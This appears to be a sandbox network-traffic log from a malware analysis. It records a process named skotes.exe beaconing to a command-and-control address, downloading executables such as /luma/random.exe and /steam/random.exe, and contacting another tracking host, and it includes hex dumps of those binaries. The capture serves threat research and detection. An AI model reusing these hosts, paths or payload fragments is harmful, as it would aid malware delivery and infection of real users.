Dec 2, 2024 07:39:10.491446972 CET	1236	IN	Data Raw: 17 34 20 35 b2 a1 be 69 58 00 95 f8 da cd 93 ce 50 ef be bd f4 d3 ec 04 88 eb e5 b2 15 9e ef bb cd 57 e1 bd 26 3f bf 38 dd 04 93 b1 c2 0c 96 e6 87 fd d5 f0 c9 7d 56 c6 35 15 98 06 de 69 f8 6d d6 32 a7 35 5d d6 dc 8a 50 0b b7 8e 33 83 9e 26 cb 38 Data Ascii: 4 5iXPW&?8}V5im25]P3&8~4Ma\|+yV'FF3vn f]p?+{6L*VOS9UoG`m"k)u_}C{1iX^qVc3q>5FSn-S

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	50019	185.215.113.43	80	8084	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:39:16.662981987 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 31 32 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1011212001&unit=246122658369
Dec 2, 2024 07:39:18.040319920 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 06:39:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	50024	185.215.113.16	80	8084	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:39:18.168930054 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 2, 2024 07:39:19.556179047 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 06:39:19 GMT Content-Type: application/octet-stream Content-Length: 1849856 Last-Modified: Mon, 02 Dec 2024 06:31:45 GMT Connection: keep-alive ETag: "674d5451-1c3a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 8b ee 4c 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 90 03 00 00 b6 00 00 00 00 00 00 00 40 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 70 49 00 00 04 00 00 3e ce 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c f0 04 00 70 00 00 00 00 e0 04 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 f1 04 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELLg@I@pI>@\p @.rsrc.@.idata 0@ P*2@nxovzswjP/4@guodefnt0I@.taggant0@I"@
Dec 2, 2024 07:39:19.556245089 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:19.556258917 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:19.556416988 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:19.556428909 CET	896	IN	Data Raw: f5 45 9c 5b d6 6b 53 5c f0 13 61 04 07 59 0e 94 b6 fd 4e fc e9 dd 7e 27 0e ed 61 e7 3d 90 38 14 07 33 46 d8 dd cd 66 e6 b7 55 32 05 fa 42 72 5d ec dc bb 93 2c 37 1b bd 2b e6 4c d9 1f 92 5c 07 0d 73 cf 9d 61 15 1a 90 7f c1 6b ba 44 4a cd e5 b1 0e Data Ascii: E[kS\aYN~'a=83FfU2Br],7+L\sakDJR-F}Fei@XTtm-s[M=z-.s']#rNs-+w?z~vWD7#}@o%a{%\,%Xetopf,nXcKBYw\|5_z<SKh_@n
Dec 2, 2024 07:39:19.556441069 CET	1236	IN	Data Raw: d2 05 f8 78 63 22 ca c4 c3 5d 5e fe ce e2 1e 51 11 7e 8c e9 15 da e6 d8 6a 12 dc c4 b6 8e 90 a8 cc dc 8e aa 54 36 52 b4 ba 5d 0c 98 67 f2 6a 7f 1a c0 6f 40 e7 25 db 68 15 ef 4f 16 2c 50 20 89 1a e9 63 85 ab da bb 42 10 c5 0d 94 c9 af 11 53 3f 0c Data Ascii: xc"]^Q~jT6R]gjo@%hO,P cBS?~c-l~!/m~Y1[4u~RR}]s\x>Z'tV(VH{U/>_I;uQF?K;:p19%KZrC ~"rzBT@a[sHvBS7W:d~F,w]_&4wa
Dec 2, 2024 07:39:19.556453943 CET	1236	IN	Data Raw: 4d d5 d9 f7 91 8a 26 fd 49 b4 fe 59 1f 3c 53 bc 66 36 0c 7a 43 60 52 f4 b4 22 57 75 0b 24 41 84 6e de bb ee 61 fb 6b c4 93 35 19 d0 ec 02 40 93 97 cc de f2 db 20 c6 74 ba 16 31 d6 39 3d 22 6f 15 0c be 7d ac 24 b1 5a 7b 28 5e e4 a4 cd 21 e3 4a 7e Data Ascii: M&IY<Sf6zC`R"Wu$Anak5@ t19="o}$Z{(^!J~MBlW$Q79@'(7R,-4!wS=pyC;rf/}(>j+cE#00@g 6vR^F;U\|ZCb5?4;;B8-O
Dec 2, 2024 07:39:19.556466103 CET	1236	IN	Data Raw: 57 5a 82 98 a3 35 c4 03 03 31 0a 3a 90 c1 48 cc 70 76 c0 78 15 75 b5 70 74 d5 bb e8 a1 d1 e5 92 ec b9 91 55 e4 24 1e ad af 8d 70 e3 75 8b 1c 05 df f4 e1 8c 36 e1 d8 2b a9 66 96 b2 31 d6 02 c4 a2 1d 3b ab 37 66 d9 07 f8 07 35 a7 eb 05 91 38 77 7c Data Ascii: WZ51:HpvxuptU$pu6+f1;7f58w\|=G@&1E^Z0~KJL]b{CU\wNgdW:/Ce`rQ5@,:Pq]_e~^B6d~"lxKS~Tuvd5B}j,AYr:
Dec 2, 2024 07:39:19.556636095 CET	1236	IN	Data Raw: b8 4e d2 dc 72 36 ed 52 bb 92 34 b0 13 c3 88 48 78 57 94 d4 e4 5e df 9e d4 dc 48 bb 3c 44 07 b1 5f 5c 1c 96 83 8d c4 40 37 07 32 a5 0f 0a b9 26 b3 9d 5a 69 3c 05 ad 68 99 7c 80 35 77 7d 28 45 a4 14 5c 77 a1 36 71 1b 7a 32 2f 49 38 4c 06 4b b6 d5 Data Ascii: Nr6R4HxW^H<D_\@72&Zi<h\|5w}(E\w6qz2/I8LK6P'"&*Rmw.:If;b^d3v( a/OcM8?ltZ&U\]PAC%pr{-YOm&1z(Nd'Dfa5=CuUu
Dec 2, 2024 07:39:19.556648016 CET	1236	IN	Data Raw: b5 dc 93 ff d3 11 79 fd ec bc 4e 50 b3 20 5b 94 3b d4 c0 03 ba 66 dc 04 8a 5c e4 29 11 fa c5 77 f1 d9 3a 64 d4 a1 c1 98 9d 13 48 46 11 8a a6 62 1b ad dd ac 3a c1 73 1f fb 06 a3 10 56 2a 89 18 78 cb f8 78 c3 c1 58 bd f4 1a b3 ca 59 0e 2a 68 60 d5 Data Ascii: yNP [;f\)w:dHFb:sVxxXYh`uCuA\|ARCc5k%^.\"iVM7#\|qm]`iT7t)Vk&zbQQS{yq&gnmbACddJ?b(#"WR\18
Dec 2, 2024 07:39:19.676338911 CET	1236	IN	Data Raw: 68 96 ac 2a 61 4a 2a 4d 08 68 63 17 c8 22 43 97 76 dd 52 a2 75 9a ba 5f 8a 51 ce 50 6e ab 6f 7e 3e 1a df f6 d6 14 bf e6 a7 d6 55 dc 55 85 1c a9 90 f7 a1 cb 47 1f ba 38 6a 16 48 b9 a2 da 9a 43 66 c8 7d 6a 74 b6 32 c6 03 f5 b7 42 bd 9f 5a a9 62 cd Data Ascii: haJMhc"CvRu_QPno~>UUG8jHCf}jt2BZbe#Y^@rSV1*lqPv;mi\2mj 8Yy12kcT~oP<]f< 'MBL%AC>#O]HfOWf'S1@RFl1926

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	50025	185.215.113.43	80	8084	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:39:25.298338890 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 31 32 31 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1011213001&unit=246122658369
Dec 2, 2024 07:39:26.672131062 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 06:39:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.6	50026	185.215.113.16	80	8084	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:39:26.843184948 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 2, 2024 07:39:28.221295118 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 02 Dec 2024 06:39:27 GMT Content-Type: application/octet-stream Content-Length: 1757184 Last-Modified: Mon, 02 Dec 2024 06:31:52 GMT Connection: keep-alive ETag: "674d5458-1ad000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce b4 e2 38 8a d5 8c 6b 8a d5 8c 6b 8a d5 8c 6b e5 a3 27 6b 92 d5 8c 6b e5 a3 12 6b 87 d5 8c 6b e5 a3 26 6b b0 d5 8c 6b 83 ad 0f 6b 89 d5 8c 6b 83 ad 1f 6b 88 d5 8c 6b 0a ac 8d 6a 89 d5 8c 6b 8a d5 8d 6b d6 d5 8c 6b e5 a3 23 6b 98 d5 8c 6b e5 a3 11 6b 8b d5 8c 6b 52 69 63 68 8a d5 8c 6b 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 3c e7 4a 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 98 02 00 00 22 01 00 00 00 00 00 00 a0 67 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 d0 67 00 00 04 00 00 dd 32 1b 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPEL<Jg"g@g2@M$a$$ $b@.rsrc$r@.idata $t@ )$v@myujmcep@PN2x@ajcoremjg@.taggant0g"@
Dec 2, 2024 07:39:28.221313953 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:28.221327066 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:28.221432924 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 2, 2024 07:39:28.221447945 CET	1236	IN	Data Raw: 36 cc e5 69 a7 67 60 93 89 53 8f 2a 47 18 1a bf 6f ea ce 06 cf b0 55 48 51 6c ce 68 9b 57 76 d8 91 31 6e 8f b5 8d c1 0c 7a 92 6b bd 62 ef 89 11 04 50 b0 49 6d b0 48 53 50 17 ca ec 6a df 50 53 a7 b4 a1 a0 c3 67 cb 75 d6 5b df cb 84 80 6f 50 81 55 Data Ascii: 6ig`S*GoUHQlhWv1nzkbPImHSPjPSgu[oPUTN@@M]#:Z\c[yvECh"6WI(,;1aN]~9o.WC[t:liwE,C@fJI6Fc[]F`l
Dec 2, 2024 07:39:28.221596003 CET	1236	IN	Data Raw: 62 17 d6 c3 52 15 a5 eb 3a ab a7 18 9c 29 2f 19 69 54 a5 a8 a9 96 02 e8 83 a0 a6 90 21 88 f7 5b 17 36 03 72 95 2d 7d ff 65 56 bf 25 c3 40 e9 e4 e0 10 82 af 12 5e 9b 2d bd 3e 8b d3 18 a6 c8 71 0f 4c eb 54 34 4f 37 0c 47 67 2b 94 99 a0 b1 4a 31 3f Data Ascii: bR:)/iT![6r-}eV%@^->qLT4O7Gg+J1?#3cY(J1"I>xR\|%AK;YE>O8rRO{;q `0/hKqqJ&wWw3#zPikTIvK\|\|=G
Dec 2, 2024 07:39:28.221610069 CET	1236	IN	Data Raw: 39 d3 9e 93 29 a8 72 8f 4a 98 f7 e9 32 e7 e4 95 1a 84 b3 cb 20 04 ef 4b 7a 40 77 fc 5d c0 f6 8c 16 f6 75 f0 11 28 f7 8d 5e 0a c5 8c 24 8d 9e e9 82 88 6b c8 7e 43 df 52 2c 83 57 38 10 18 f7 81 9e 43 29 48 9b 94 9e e9 ba 88 3f ca 0a 9f ee 20 2d 2e Data Ascii: 9)rJ2 Kz@w]u(^$k~CR,W8C)H? -.YA j]O)CFW* jsxHIgW$i_z$:4)i]gH,EdU>>,F7FHDP!A(H*Dk@@NAN%v/7PGH
Dec 2, 2024 07:39:28.221771955 CET	1236	IN	Data Raw: 17 a7 e5 b9 73 98 93 c8 46 47 e5 4d 94 96 28 42 61 c1 a6 93 2c 28 ef d1 97 0f 02 48 27 08 55 d3 2c e4 f6 dd a1 50 1c 4b 22 5a 3f 33 2b c8 f6 7d 9d 43 76 48 9b 89 6f fd 81 9f cf 48 a6 44 76 e0 98 cd 86 d3 3d 61 e7 f9 9a 7c 6b 3c 67 92 af 7b 31 e7 Data Ascii: sFGM(Ba,(H'U,PK"Z?3+}CvHoHDv=a\|k<g{1l^jFDh4PwH>+[o]<n_nn^br>i@:(I,Td&tw^rf_t=@.&NF hVc"a,rXj:TN
Dec 2, 2024 07:39:28.221784115 CET	1236	IN	Data Raw: 4b d1 98 bf 12 28 77 04 5d 16 af ce 98 4b da b0 29 46 37 43 ba 0b 91 d8 30 2e 8b 25 4d 62 b7 4a 92 82 70 e3 a6 42 49 af 6a 07 e5 31 15 00 76 87 1a 8a 2f da 2c 67 27 97 a0 0e b1 9e 6a d3 46 33 2b bc f6 a9 a1 37 9e f9 d9 88 b3 9c 22 ad e0 29 9f 46 Data Ascii: K(w]K)F7C0.%MbJpBIj1v/,g'jF3+7")FEnoB0p*D+H,\I>fGihf5E),uKb$?3+PHYrDI@w;mmCAvC$CH`@yg!Juf
Dec 2, 2024 07:39:28.221797943 CET	1236	IN	Data Raw: 11 93 5f af 5d ca 8d b5 b1 67 07 40 42 15 e9 3a 4d 92 ef 95 9a 2c b3 ab 50 9e a1 bc 59 80 b3 93 27 48 9e 69 2d 85 96 8f d8 5c e3 40 76 94 10 a0 33 92 f8 52 30 94 7b cc 2c 00 94 fd 98 40 d2 93 1b 20 63 48 a6 04 91 79 99 46 2c a8 2e a6 71 be c6 80 Data Ascii: _]g@B:M,PY'Hi-\@v3R0{,@ cHyF,.qrqQl6}Fjan/3\hA@P6,gZ]BVw,(sg.{/@s8HUkSI:#)Scl+gi~(T_E<o>SOxmSnd rf
Dec 2, 2024 07:39:28.341341972 CET	1236	IN	Data Raw: 5c cc 3e 39 cd 0e 77 ff 82 8c c4 78 26 f8 ae ac e4 6e 07 98 1d 94 fe 91 fb 61 1e a8 0c 7c 57 3d a7 98 d8 7f 2e 58 91 df 3c 4c 3c d2 9f 0b 42 78 a8 5b c3 b0 34 65 a7 53 a1 09 c0 ae f6 66 e0 3b 46 54 43 c5 95 e5 26 d5 43 52 e6 b5 3f c8 61 f8 2e f9 Data Ascii: \>9wx&na\|W=.X<L<Bx[4eSf;FTC&CR?a.bSc]z}_lw=uf)"Pk^4apRw{e*mp~7Rg@sV 'uyV&wPNo3Lgzr5#u$~Dg/#[GS%9o

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.6	50028	92.63.197.221	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2024 07:39:33.832050085 CET	411	OUT	GET /add?substr=mixtwo&s=three&sub= HTTP/1.1 Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, /;q=0.1 Accept-Language: ru-RU,ru;q=0.9,en;q=0.8 Accept-Charset: iso-8859-1, utf-8, utf-16, ;q=0.1 Accept-Encoding: deflate, gzip, x-gzip, identity, ;q=0 User-Agent: 1 Host: 92.63.197.221 Connection: Keep-Alive Cache-Control: no-cache
Dec 2, 2024 07:39:35.146656036 CET	204	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:39:34 GMT Server: Apache/2.4.58 (Ubuntu) Content-Length: 1 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 30 Data Ascii: 0

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.6	49712	20.198.119.143	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:13 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 49 51 47 6a 35 37 65 4b 69 30 2b 4e 55 41 58 57 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 38 66 35 39 30 35 66 35 34 66 65 33 33 65 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: IQGj57eKi0+NUAXW.1Context: 7f8f5905f54fe33e
2024-12-02 06:37:13 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-12-02 06:37:13 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 49 51 47 6a 35 37 65 4b 69 30 2b 4e 55 41 58 57 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 38 66 35 39 30 35 66 35 34 66 65 33 33 65 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 62 2f 59 7a 76 43 38 67 54 62 2f 6d 73 4c 2b 59 51 4e 38 6f 2f 31 72 67 68 4e 79 7a 63 4e 69 35 76 6c 65 57 31 71 77 67 51 44 70 56 57 76 46 48 43 66 77 76 57 6e 35 36 4c 6d 51 71 43 31 34 63 51 38 73 55 44 54 54 4a 6c 6f 7a 6a 30 68 6a 64 77 6e 6a 34 70 43 76 71 4c 79 51 67 4b 41 53 65 51 51 61 79 42 58 6e 47 2f 4c 45 66 2f Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: IQGj57eKi0+NUAXW.2Context: 7f8f5905f54fe33e<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAb/YzvC8gTb/msL+YQN8o/1rghNyzcNi5vleW1qwgQDpVWvFHCfwvWn56LmQqC14cQ8sUDTTJlozj0hjdwnj4pCvqLyQgKASeQQayBXnG/LEf/
2024-12-02 06:37:13 UTC	218	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 57 4e 53 20 30 20 31 39 37 0d 0a 4d 53 2d 43 56 3a 20 49 51 47 6a 35 37 65 4b 69 30 2b 4e 55 41 58 57 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 37 66 38 66 35 39 30 35 66 35 34 66 65 33 33 65 0d 0a 0d 0a 3c 77 6e 73 3e 3c 76 65 72 3e 31 3c 2f 76 65 72 3e 3c 63 6c 69 65 6e 74 3e 3c 6e 61 6d 65 3e 57 50 4e 3c 2f 6e 61 6d 65 3e 3c 76 65 72 3e 31 2e 30 3c 2f 76 65 72 3e 3c 2f 63 6c 69 65 6e 74 3e 3c 6f 70 74 69 6f 6e 73 3e 3c 70 77 72 6d 6f 64 65 20 6d 6f 64 65 3d 22 30 22 3e 3c 2f 70 77 72 6d 6f 64 65 3e 3c 2f 6f 70 74 69 6f 6e 73 3e 3c 6c 61 73 74 4d 73 67 49 64 3e 30 3c 2f 6c 61 73 74 4d 73 67 49 64 3e 3c 2f 77 6e 73 3e Data Ascii: BND 3 CON\WNS 0 197MS-CV: IQGj57eKi0+NUAXW.3Context: 7f8f5905f54fe33e<wns><ver>1</ver><client><name>WPN</name><ver>1.0</ver></client><options><pwrmode mode="0"></pwrmode></options><lastMsgId>0</lastMsgId></wns>
2024-12-02 06:37:13 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-12-02 06:37:13 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 6e 38 42 72 4f 45 70 47 44 30 32 51 69 49 76 6c 6f 35 45 56 56 41 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: n8BrOEpGD02QiIvlo5EVVA.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.6	49713	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-02 06:37:15 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-02 06:37:16 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 02 Dec 2024 06:37:15 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Fri, 29 Nov 2024 23:15:49 GMT ETag: "0x8DD10CBC2E3B852" x-ms-request-id: 82d9e4b2-501e-007b-3a87-435ba2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241202T063715Z-174f7845968kdththC1EWRzvxn0000000gd00000000066we x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-02 06:37:16 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-12-02 06:37:16 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 